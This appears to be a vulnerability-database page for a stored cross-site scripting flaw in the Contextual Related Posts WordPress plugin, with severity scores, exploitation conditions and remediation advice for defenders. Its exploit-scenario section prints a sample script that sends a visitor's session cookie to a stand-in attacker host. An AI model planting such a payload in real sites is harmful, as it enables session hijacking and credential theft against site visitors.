Skip to main content

Contextual Related Posts CVE-2026-2986

| EUVDEUVD-2026-23674 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-18 Wordfence
6.4
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain contributor-level WordPress credentials
  2. Delivery
    Authenticate to WordPress dashboard
  3. Exploit
    Navigate to plugin settings or post meta
  4. Install
    Inject malicious script into 'other_attributes' parameter
  5. C2
    Save changes to database
  6. Execute
    Visitor accesses injected page
  7. Impact
    Browser executes stored script
  8. Step 8
    Attacker exfiltrates session cookie or injects malware

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Attacker must possess valid WordPress user credentials with contributor-level access or higher (Contributor, Author, Editor, or Administrator roles). This is not a default condition; the WordPress installation must have granted such access to the attacker or to a compromised account. No special plugin configuration is required-the vulnerability exists in the default installation of versions 4.2.1 and earlier. The 'other_attributes' parameter must be exposed in a user-accessible interface (plugin settings, post meta, or shortcode parameters) and must be rendered in page output without escaping. Exploitation is blocked if: (1) the WordPress installation does not have the Contextual Related Posts plugin active, (2) the attacker has only Subscriber or no authenticated role, (3) the plugin version is 4.2.2 or later with the patch applied, or (4) a WAF or other control prevents the injection of special characters into the 'other_attributes' parameter.

Impact

CVSS score of 6.4 (Medium) with attack vector Network, attack complexity Low, and privileges required Level (authenticated contributor) reflects moderate real-world risk. The score's impact is limited to Confidentiality and Integrity (C:L, I:L) and excludes Availability, because XSS typically does not directly crash systems. However, the scope is Changed (S:C), meaning the vulnerability can affect resources beyond the vulnerable component-in this case, any user viewing an injected page is at risk of session hijacking, credential theft, or malware distribution. The exploitation prerequisites are concrete: attacker must have WordPress contributor-level or higher access, which is not default but is commonly granted to content creators and guest authors. The lack of user interaction required (UI:N) and low complexity (AC:L) mean exploitation is trivial once access is obtained. No EPSS score, KEV status, or POC availability data was provided in the input; therefore, we cannot assess current exploitation probability or active abuse. The true risk depends on whether the plugin is widely deployed and whether contributor accounts are routinely created in target environments. A contributor account might be obtained through credential compromise, weak password policies, or supply chain social engineering targeting content creators.

Exploit ScenarioDerived

An authenticated attacker with WordPress contributor privileges logs in and edits or creates a post or page. In the plugin's settings or meta fields for the post/page, they inject a malicious script into the 'other_attributes' parameter, such as: <script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>. The script is stored in the WordPress database without sanitization. When a site visitor views the page, the browser renders the HTML and executes the injected script, sending the visitor's session cookie to the attacker's server. The attacker can then hijack the visitor's session, escalate privileges, or steal credentials if the script uses a more sophisticated payload (e.g., keylogger, fake login form).

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 18, 2026

Stored Cross-Site Scripting in Contextual Related Posts plugin for WordPress (versions up to 4.2.1) allows authenticated contributors and above to inject malicious scripts via the 'other_attributes' parameter, which execute in the browsers of all users viewing affected pages. The vulnerability stems from insufficient input sanitization and output escaping, enabling privilege escalation from contributor-level access to site-wide code execution. No active exploitation in the wild has been confirmed, but the attack requires only authenticated access at a low privilege level that is commonly granted in WordPress environments.

RemediationAI

Vendor-released patch: versions 4.2.2 and above. Upgrade the Contextual Related Posts plugin to the latest version (4.2.2 or later) through the WordPress plugin dashboard or via the plugin repository. Verify the changeset at https://plugins.trac.wordpress.org/changeset/3481684/contextual-related-posts to confirm the fix includes sanitization of the 'other_attributes' parameter using wp_kses_post() or wp_esc_attr() and output escaping where the parameter is rendered. As an interim compensating control for environments where immediate patching is not feasible, restrict contributor-level and higher role access to trusted users only; audit existing contributor accounts and revoke access for inactive or suspicious accounts. Additionally, implement a Web Application Firewall (WAF) rule to block POST/PUT requests containing 'other_attributes' parameters with suspicious patterns (e.g., '<script', 'javascript:', event handlers like 'onclick'). Note that WAF mitigation adds latency and may produce false positives if legitimate content uses special characters; the primary remediation remains upgrading to the patched version.

Affected VersionsENISA

Contextual Related Posts 0 ≤4.2.1

Affected Packages

euvd contextual_related_posts no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The Contextual Related Posts plugin (cpe:2.3:a:ajay:contextual_related_posts:*:*:*:*:*:*:*:*) is a WordPress plugin that displays related content on pages and posts. The vulnerability resides in the handling of the 'other_attributes' parameter, which is passed to HTML rendering functions without proper sanitization (via functions like wp_kses, sanitize_text_field, or equivalent escaping) or output escaping (via wp_esc_attr or similar). CWE-79 (Improper Neutralization of Input During Web Page Generation) identifies the root cause: user-controlled input is incorporated into HTML/JavaScript context without neutralizing special characters that enable script injection. In a WordPress context, this allows attackers to break out of attribute contexts or inject script tags that bypass browser same-origin policies when the page is rendered.

Know when Contextual Related Posts gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The Contextual Related Posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'other_attributes' parameter in versions up to, and including, 4.2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Social Media
3
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy